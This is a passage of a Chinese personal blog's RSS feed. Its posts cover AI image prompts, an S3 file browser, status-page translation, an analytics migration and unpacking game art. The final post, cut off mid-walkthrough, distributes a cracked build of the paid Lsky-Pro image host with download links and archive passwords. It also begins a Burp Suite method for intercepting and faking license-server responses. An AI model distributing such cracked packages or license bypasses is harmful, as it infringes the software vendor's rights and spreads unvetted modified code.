&lt;p&gt;立绘中角色不要做出现实中无法做出的动作，这可能会触发AI的Copy，会将图片完整的复制过来而不是创建一个Coser&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-34-07-7d28242d1b8c18abf6d6b44f8064abff.87LndNXx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-37-48-572b1752-d279-4fc3-93a4-165a75640d84.Cf1pvggD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;七夕生草图&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Prompt： A photorealistic scene inside a McDonald’s restaurant.&lt;/p&gt;
&lt;p&gt;On my table, there is a picture frame showing the anime-style image I provided.&lt;/p&gt;
&lt;p&gt;Everything outside the frame must be 100% realistic and human.&lt;/p&gt;
&lt;p&gt;On the opposite table, a real Chinese couple is sitting together.&lt;/p&gt;
&lt;p&gt;The female partner is cosplaying the character from the provided image, wearing the same outfit, but she must look like a real human girl, not a drawing or cartoon.&lt;/p&gt;
&lt;p&gt;⚠️ She should not mimic the exact pose or gesture from the anime illustration — instead, she should be doing something natural for a restaurant setting, such as eating food, drinking from a cup, talking with her partner, or smiling casually.&lt;/p&gt;
&lt;p&gt;The entire environment (restaurant interior, people, cosplay) must look like a natural camera photo.&lt;/p&gt;
&lt;p&gt;Apply background blur (bokeh effect) to the opposite table and everything behind it, making the image look like it was taken with a DSLR camera, not generated.&lt;/p&gt;
&lt;p&gt;Only the picture inside the frame can contain anime style; all other elements must be realistic.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-38-35-cfdbd266c99acc5da9bc6d5f4edf57ba.yLgJ5xsu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-39-17-5976a1f7-3f14-4987-aa60-3257b05f8b7b.0aTtyJ_o.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;去除背景&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Prompt： 将这张图去除背景，仅保留人物主体&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.DfEMumMP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-40-02-72ff1a60-c98b-443e-b231-e068a0429fb8.WdJBIrW8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;最好使用英语Prompt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以先对通用大模型（如ChatGPT）描述你要绘制什么图片，然后让他给你返回英文Prompt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;好图秀图不是一蹴而就的，需要细心打磨&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Cyberduck - 简洁好用的S3文件浏览器</title><link>https://2x.nz/posts/cyberduck/</link><guid isPermaLink="true">https://2x.nz/posts/cyberduck/</guid><description>对象存储是一个非常好用的东西，但是要如何方便的上传文件呢？</description><pubDate>Sat, 30 Aug 2025 19:38:24 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;你可能知道 或不知道我运营着一个 &lt;strong&gt;二次元随机图 API&lt;/strong&gt;，比如 &lt;a href=&quot;https://pic.072103.xyz/&quot;&gt;AcoFork - RandomPic&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;它的图片存储在 &lt;strong&gt;Cloudflare R2&lt;/strong&gt; 也就是 Cloudflare 提供的对象存储&lt;/p&gt;
&lt;p&gt;随机图库存总是要扩充的，在曾经，我会使用 &lt;a href=&quot;https://alistgo.com/zh/&quot;&gt;AList&lt;/a&gt; ，但现在，我会使用 &lt;a href=&quot;https://cyberduck.io/&quot;&gt;Cyberduck&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;这是什么？&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://cyberduck.io/&quot;&gt;Cyberduck&lt;/a&gt; 是一个 Win&amp;amp;Mac 双端的云存储浏览器，相比于 AList 它无需部署，传输文件也无需中转，仅作为一个前端来连接你自己的对象存储，简洁易用，界面如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-03-45-24-image.CT5IQwxf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你想将云存储映射为本地磁盘，可以使用姊妹软件 &lt;a href=&quot;https://mountainduck.io/&quot;&gt;Mountain Duck&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;优点？&lt;/h1&gt;
&lt;p&gt;API的图片统计，我无需再手搓S3 API来获取图片数量了，它自带&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-03-47-41-image.5mGNApEl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-03-47-57-image.BF-fjJaR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;上传文件无需再通过家里云的 AList 中转了&lt;/p&gt;
&lt;p&gt;之前的链路：我 - AList - S3&lt;/p&gt;
&lt;p&gt;现在的链路：我 - S3&lt;/p&gt;
&lt;p&gt;这显著降低了传输时间，提高了工作效率&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;不止于S3，临时给家庭服务器传输文件可以直接使用SFTP而无需登录1Panel等面板了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-03-52-04-image.BZwzqdlO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>我给BetterStack的状态页面汉化了</title><link>https://2x.nz/posts/translations-betterstack/</link><guid isPermaLink="true">https://2x.nz/posts/translations-betterstack/</guid><description>闲着没事打开 BetterStack 的状态页面时，我发现里面一会儿中文、一会儿英文，索性就把它整体汉化了一遍。</description><pubDate>Thu, 28 Aug 2025 10:46:27 GMT</pubDate><content:encoded>&lt;h1&gt;速览&lt;/h1&gt;
&lt;p&gt;现在点击 &lt;a href=&quot;https://ss.2x.nz&quot;&gt;这里&lt;/a&gt;，或者通过顶部导航栏里的 &lt;code&gt;状态&lt;/code&gt; 页面，就可以看到已经汉化好的 BetterStack 状态面板。&lt;/p&gt;
&lt;h1&gt;汉化过程&lt;/h1&gt;
&lt;p&gt;在 &lt;a href=&quot;https://uptime.betterstack.com/&quot;&gt;BetterStack&lt;/a&gt; 左侧导航栏进入 &lt;code&gt;Status pages&lt;/code&gt;，打开你的状态页域名后，再进入 &lt;code&gt;Translations&lt;/code&gt;，就可以开始汉化了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-18-52-03-image.DCnsmutK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;一些小插曲&lt;/h1&gt;
&lt;p&gt;由于 BetterStack 并没有很好照顾中文语境，所以像 &lt;code&gt;日&lt;/code&gt; 和 &lt;code&gt;年&lt;/code&gt; 这样的翻译默认不会自动补上后缀。不过这个问题可以通过硬编码处理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-18-57-52-image.CnjgqLZi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至于 &lt;code&gt;月&lt;/code&gt;，我这里则是直接这样写：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-18-58-30-image.BWV3OGfx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;另外，BetterStack 会把 &lt;code&gt;UTC+8&lt;/code&gt; 自作聪明地写成 &lt;code&gt;CST&lt;/code&gt;。但 &lt;code&gt;CST&lt;/code&gt; 本身是一个有歧义的时区缩写，所以这里同样建议通过硬编码来修正。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-18-56-39-image.Dqu1bEZe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-18-58-45-image.IR0C3saY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录迁移Umami，从本地到云</title><link>https://2x.nz/posts/umami-local-2-render/</link><guid isPermaLink="true">https://2x.nz/posts/umami-local-2-render/</guid><description>之前的站点统计部署在家里云NAS，通过IPv6回源，而现在我将他迁移到了Render+Supabase</description><pubDate>Thu, 28 Aug 2025 01:57:16 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;回滚了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;备份本地数据库&lt;/h1&gt;
&lt;p&gt;在任何一台机子上安装 &lt;strong&gt;pgAdmin4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;连接到本地的PostgreSQL实例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-03-34-image.DjunJc1c.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右键需要备份的数据库，点击 &lt;strong&gt;备份&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-03-58-image.Ps2Elg62.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写 &lt;strong&gt;文件名&lt;/strong&gt; 创建备份。备份的文件将会保留在 &lt;strong&gt;pgAdmin4&lt;/strong&gt; 上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-04-44-image.D5Ap07F7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;还原备份到云端数据库&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;免费计划有 500MB 免费的数据库空间，完全够用了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-06-39-2dfd6b861774ca0b05d460fc19bfccb1.BpjT-Oai.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 https://supabase.com/&lt;/p&gt;
&lt;p&gt;创建一个新项目&lt;/p&gt;
&lt;p&gt;找到连接参数（左上角Connect）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-07-41-image.Ke9AnEng.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;strong&gt;pgAdmin4&lt;/strong&gt; 中，连接到Supabase数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-10-00-image.XvAQq4F0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;值得注意的是，本地的PostgreSQL我们可以创建多个子数据库。而在Supabase中，每一个项目对应一个专属的 &lt;strong&gt;postgres&lt;/strong&gt; 数据库。当然，你完全可以使用 &lt;strong&gt;pgAdmin4&lt;/strong&gt; 来创建新的子数据库，但是Supabase仪表盘上将不可见。所以，我建议在Supabase项目中，一个项目对应一个数据库，不使用子数据库&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;右键，进行还原&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-12-10-image.BNTIDvO7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择刚才备份的数据库文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-12-29-image.ZwBfWDyL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行还原，必会 &lt;strong&gt;失败&lt;/strong&gt;，但是不用管&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这些报错大概就是，找不到之前数据库的用户之类的，实际上表结构已经被还原了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-16-25-image.BXLEPA20.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;在Render上部署Umami&lt;/h1&gt;
&lt;p&gt;打开 https://dashboard.render.com/&lt;/p&gt;
&lt;p&gt;创建项目，选择 &lt;strong&gt;Web Services&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source Code&lt;/strong&gt; 选择 &lt;strong&gt;Exist Image&lt;/strong&gt; ，并输入 &lt;code&gt;ghcr.io/umami-software/umami:postgresql-v2.19.0&lt;/code&gt; &lt;em&gt;最好选最新版，也就是 &lt;code&gt;vx.xx.x&lt;/code&gt; 这个字段&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;配置必须的环境变量&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;APP_SECRET&lt;/td&gt;
&lt;td&gt;在之前的环境变量中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATABASE_TYPE&lt;/td&gt;
&lt;td&gt;postgresql&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATABASE_URL&lt;/td&gt;
&lt;td&gt;在Supabase仪表板中&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;你可以在曾经的Umami实例中看到 &lt;strong&gt;APP_SECRET&lt;/strong&gt; 的值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-25-05-image.DewzHJhK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而 &lt;strong&gt;DATABASE_URL&lt;/strong&gt; 可以在 Supabase 中看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-25-44-image.C5XFmj13.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中的 &lt;code&gt;[YOUR-PASSWORD]&lt;/code&gt; 可以在 Supabase 的数据库设置中进行重置&lt;/p&gt;
&lt;p&gt;&lt;em&gt;注意，Supabase仅支持重置数据库密码，一旦设置后将无法再次查看，请妥善保管您的数据库密码&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;配置完毕之后，部署它，Render将会为你分配一个Web地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-29-02-image.DKP3dU-L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试访问，应该已经迁移成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-29-46-image.DCj1HRzJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置EdgeOne CDN变相支持CORS配置&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;由于 Umami 没有独立的CORS设置，如果不设置CORS则他人将可以随便刷你的Umami，这会导致统计不准确，详见 &lt;a href=&quot;/posts/you-is-me-huh/&quot;&gt;这篇文章&lt;/a&gt; 。我们可以接入EdgeOne CDN来变相支持CORS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用 &lt;strong&gt;源站域名&lt;/strong&gt; 作为 &lt;strong&gt;回源 HOST 头&lt;/strong&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-32-09-image.pWYbNIKF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CORS配置详情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-28-10-32-32-image.DnEIr_UL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录解包尘白禁区以获得涩涩（？）CG</title><link>https://2x.nz/posts/cbjq-unzip/</link><guid isPermaLink="true">https://2x.nz/posts/cbjq-unzip/</guid><description>受人委托解包尘白禁区的加载图CG，记录一下流程，方便日后复习</description><pubDate>Sat, 23 Aug 2025 17:11:44 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;参考了 &lt;a href=&quot;https://zhuanlan.zhihu.com/p/7144045084&quot;&gt;虚幻4游戏解包导出及Mod制作指南 - 知乎&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;下载尘白禁区&lt;/h1&gt;
&lt;p&gt;前往 https://www.cbjq.com/ 下载并安装尘白禁区，确保启动器内可以直接开始游戏（即游戏完整包体已下载到你的电脑）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-16-37-image.FbCA6_9T.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;确认虚幻引擎版本&lt;/h1&gt;
&lt;p&gt;导航到放置尘白禁区游戏本体的EXE的目录，如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\SeasunCBJQos\Game\cbjq\game\Game\Binaries\Win64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;右键 &lt;code&gt;Game.exe&lt;/code&gt; ，单击属性，转到 &lt;code&gt;详细信息&lt;/code&gt; 一栏。可以看到是 &lt;code&gt;UE4 4.26&lt;/code&gt; 。记住他，后文要用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-18-47-image.6Yar8ZMr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;将有关CG的PAK文件分离出来&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\SeasunCBJQos\Game\cbjq\game\Game\Content\Paks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里列出了所有的PAK文件，由于我们只需要CG图，故也只需要解包类似 &lt;code&gt;PAK_Game_UI_X-WindowsNoEditor.pak&lt;/code&gt; 这样的文件&lt;/p&gt;
&lt;p&gt;将其分离到一个单独的文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-22-23-image.DSGSWrB3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;解包&lt;/h1&gt;
&lt;p&gt;下载解包脚本 https://r2.072103.xyz/snowbreak.bms&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://aluigi.altervista.org/quickbms.htm&quot;&gt;Luigi Auriemma&lt;/a&gt; 下载 &lt;code&gt;QuickBMS&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-22-37-image.WXrOEn2u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-22-58-image.CIyOn6vk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步 选择解包脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-25-15-image.bn7LO2Of.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步 选择原始PAK文件所在的文件夹。选中文件夹后，在文件名输入 &lt;code&gt;*&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-25-58-image.B92E1ZYl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步 选择解包后输出目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-26-32-image.C1RywnSf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待解包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-26-55-33683f308e84beb12f81c22c9702a4a4.DSHtXNHA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解包完成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-28-27-image.CEWm6u5R.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;查看解包后的文件&lt;/h1&gt;
&lt;p&gt;解包后我们就得到了一般UE引擎封装的 &lt;code&gt;.uasset&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;我们需要使用另一个工具将其导出为一般格式的文件&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://www.gildor.org/en/projects/umodel#files&quot;&gt;UE Viewer | Gildor&apos;s Homepage&lt;/a&gt; 。点击 &lt;code&gt;Win32 Version&lt;/code&gt; 下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-30-01-image.Bn8H4D9k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;umodel_64.exe&lt;/code&gt; 。 &lt;code&gt;Path to game files:&lt;/code&gt; 填写通过 &lt;code&gt;QuickBMS&lt;/code&gt; 解包后的输出文件夹，勾选 &lt;code&gt;Override game detection&lt;/code&gt; 并选择 UE4 4.26，也就是最开始我们获取的虚幻引擎版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-32-43-image.CpP9iKF-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就可以在 &lt;code&gt;UE Viewer&lt;/code&gt; 里面查看 &lt;code&gt;.uasset&lt;/code&gt; 文件了。但是这个文件浏览器很难用，我推荐导出后使用Windows资源管理器查看&lt;/p&gt;
&lt;p&gt;右键你要导出的文件夹，比如 &lt;code&gt;All Package&lt;/code&gt; 或者 &lt;code&gt;Game&lt;/code&gt; ，点击 &lt;code&gt;Export folder content&lt;/code&gt; 。可以选择一下输出文件夹，我这边是默认&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-35-49-image.CpAtyjYg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你就可以在你设置的导出文件夹查看到所有一般格式的资源文件了，比如&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-36-37-image.CdIdsIa3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;获取CG图&lt;/h1&gt;
&lt;p&gt;全局搜索关键字 &lt;code&gt;PlotCG&lt;/code&gt; 就可以啦&lt;/p&gt;
&lt;p&gt;导出后的图片CG文件为 &lt;code&gt;.TGA&lt;/code&gt; 文件，是无损图像格式，我们可以通过 &lt;a href=&quot;https://www.bandisoft.com/bandiview/&quot;&gt;BandiView - 图像查看器、快速且强大&lt;/a&gt; 来查看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-24-01-13-41-3824c5ece06cc56241688f4a4aacbcbd.BhuRBimz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录破解兰空图床（Lsky-Pro）</title><link>https://2x.nz/posts/hack-lskypro/</link><guid isPermaLink="true">https://2x.nz/posts/hack-lskypro/</guid><description>兰空图床是一个简洁易用（？）的图床框架，抓包了一下激活过程，这玩意居然没加密...记录一下</description><pubDate>Tue, 19 Aug 2025 13:09:47 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;仅供学习交流，请在下载后24h内删除。体验地址： https://lsky.2x.nz
视频教程： https://www.bilibili.com/video/BV1UieUzQEvq/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;方案一：本地开心版（推荐）&lt;/h1&gt;
&lt;p&gt;突然发现交付给我的项目是源码，那还逆向什么授权，直接永远返回true呗~&lt;/p&gt;
&lt;h2&gt;安装包体&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://r2.072103.xyz/2xnzlskypro223.zpaq&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/Eenhpe5Kt0RLopi_n6Ud-qMBh6fmDsXKaB8csLIVLu-FEQ?e=Z6QLGn&quot;&gt;OneDrive - 2xnzlskypro223.zpaq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;密码： 2xnz二叉树树&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;zpaq可以使用 &lt;a href=&quot;https://www.bandisoft.com/bandizip/&quot;&gt;Bandizip 官方网站 - 免费压缩软件下载 (Windows)&lt;/a&gt; 进行解压，旧版不支持&lt;/p&gt;
&lt;h2&gt;我们做了什么？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;安装过程中无论输入授权密钥为任何值直接内部返回true，不再请求授权服务器&lt;/li&gt;
&lt;li&gt;版本更新不再请求授权服务器，始终返回当前版本为最新版本&lt;/li&gt;
&lt;li&gt;所有操作不经过授权服务器，全部本地执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;环境配置&lt;/h2&gt;
&lt;p&gt;自行参考： https://docs.lsky.pro/guide/install&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推荐使用宝塔面板部署&lt;/strong&gt;，1Panel的容器化PHP好像有点问题&lt;/p&gt;
&lt;p&gt;如果坚持要用1Panel，推荐使用PHP8.2，出现500，404等状态码问题请自行解决，似乎需要一个特殊的 &lt;code&gt;fallback&lt;/code&gt; 设置。感谢 fishcpy提供的解决方案！这里是他的部署教程： &lt;a href=&quot;https://linux.do/t/topic/882900&quot;&gt;AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    # 全局 404 交给 @fallback 处理，不强制状态码
    error_page 404 @fallback;

    location / {
        try_files $uri $uri/ @fallback;
    }

    # 命名 location：交给 index.php，但不强制 200
    location @fallback {
        rewrite ^ /index.php last;
    }

    # -----------------------------
    # 特殊路径：/api/v2/ 也走 index.php，但不能强制 200
    # -----------------------------
    location ^~ /api/v2/ {
        # 同样使用 @fallback，不强制状态码
        try_files $uri $uri/ @fallback;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装过程&lt;/h2&gt;
&lt;p&gt;授权密钥随便填直接过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-22-04-21-45-8d13151d19e627bd9e614517aeb5dbe6.DlNxBZ-f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;系统升级已Hook，定死版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-22-04-22-19-image.CQLffeAx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-22-04-22-37-image.J4Ro2b3H.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;方案二：手动破解&lt;/h1&gt;
&lt;p&gt;如果你想自己动手破解，或者需要获取最新版本包体，可以参考此方案。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意。如果需要更新新版本，仍然需要有效的授权密钥，否则无法得到新版包体&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;下载包体&lt;/h2&gt;
&lt;p&gt;兰空图床Pro付费版包： https://r2.072103.xyz/lp223.zpaq （解压密码：2x.nz二叉树树）&lt;/p&gt;
&lt;h2&gt;破解授权&lt;/h2&gt;
&lt;p&gt;首先为你的Linux配置一个HTTP代理，指向 Burp Suite（软件自己找）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export http_proxy=&quot;http://127.0.0.1:8080&quot;
export https_proxy=&quot;http://127.0.0.1:8080&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a5fd2695975981d785cea1af5c0ee9588dc1b9ee.BwLf7mud.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;默认Burp仅拦截请求，不拦截响应，需要手动设置一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2690f8470df19d0c4a0f134835a7cbc95c9798fd.X2J9oX_7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后启用拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/52650c556acc9406923fb824823fe3a04e153d5d.Cx0r4SYZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
